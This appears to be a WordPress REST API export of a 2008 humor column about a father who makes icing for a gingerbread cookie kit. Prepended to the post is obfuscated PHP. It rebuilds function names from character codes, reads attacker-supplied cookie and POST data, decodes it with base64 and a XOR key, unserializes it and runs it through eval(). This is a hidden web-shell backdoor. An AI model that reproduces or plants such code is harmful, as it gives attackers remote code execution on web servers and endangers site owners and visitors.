$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":231,"date":"2008-01-27T16:09:05","date_gmt":"2008-01-27T21:09:05","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=231"},"modified":"2008-01-27T16:09:05","modified_gmt":"2008-01-27T21:09:05","slug":"icing-on-the-cake","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=231","title":{"rendered":"Icing on the Cake"},"content":{"rendered":"

When Maria left for work last Saturday, I thought I had an easy day ahead of myself.<\/p>\n

Bridget had a friend over. They had plenty of activities planned. No one really needed me.<\/p>\n

One of the activities was a kit to decorate gingerbread cookies. The cookies came pre-made with the kit so even I couldn’t screw this up.<\/p>\n

Or so I thought.<\/p>\n

I started to get the supplies ready while the girls played in Bridget’s room. As I removed everything from the box, I discovered one big problem.<\/p>\n

The kit didn’t come with icing for the cookies. It did, however, come with a mix that allowed you to make icing for the cookies.<\/p>\n

I immediately felt my blood pressure skyrocket. Make icing? By myself? Who did these people think I was? Didn’t anyone read the box before they left me alone with two children expecting to decorate cookies with icing?<\/p>\n

After an initial moment of panic, I realized I had to give the thing a try. The instructions on the package sounded pretty simple. All I had to do was find an electric mixer of some sort to whip everything together.<\/p>\n

I’m not a total idiot, but I had no clue where Maria kept the thing. I looked a few places, but couldn’t find the right tool. I considered calling her at work, but decided against it because I wanted to show off my self-sufficiency.<\/p>\n

So I picked up the phone five minutes later when I obviously had no chance of making icing using the handheld mixer I found in one of our cupboards. I knew I had ruined everything.<\/p>\n

She insisted I couldn’t screw up icing, but I had serious doubts about that. I insisted that my best chance of salvaging the project was to pile in the car with the girls and go buy some icing at the grocery store.<\/p>\n

I found the right mixer – I never would have looked in the drawer below the silverware drawer – and went back to work. Maria told me I would be fine because I enjoyed cooking, but I reminded her that this recipe did not call for Buffalo wing sauce, which put me at a distinct disadvantage.<\/p>\n

Even though Maria does do most of the cooking, I do enjoy making things all by myself. But I honestly don’t know how to bake. Unless you count those cookies that come ready to put in the oven as baking.<\/p>\n

A few minutes later, I wondered why I worried about anything at all. The mixer magically turned the powdered sugar, some butter and a microscopic amount of milk into fluffy white icing.<\/p>\n

I dipped my finger in the bowl. Surprisingly, it actually tasted like icing.<\/p>\n

Since no one was around, I just went about my business and set up all the items the girls needed to decorate the cookies. I let them play a little while longer though because I wanted to clean up.<\/p>\n

And I wanted to enjoy the icing left on the beaters in solitude. I didn’t go through all that work and worry to let the kids share in the best part of baking.<\/p>\n","protected":false},"excerpt":{"rendered":"

When Maria left for work last Saturday, I thought I had an easy day ahead of myself. Bridget had a friend over. They had plenty of activities planned. No one really needed me. One of the activities was a kit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,16,17],"tags":[],"class_list":["post-231","post","type-post","status-publish","format-standard","hentry","category-columns","category-family","category-food","wpcat-3-id","wpcat-16-id","wpcat-17-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=231"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/231\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}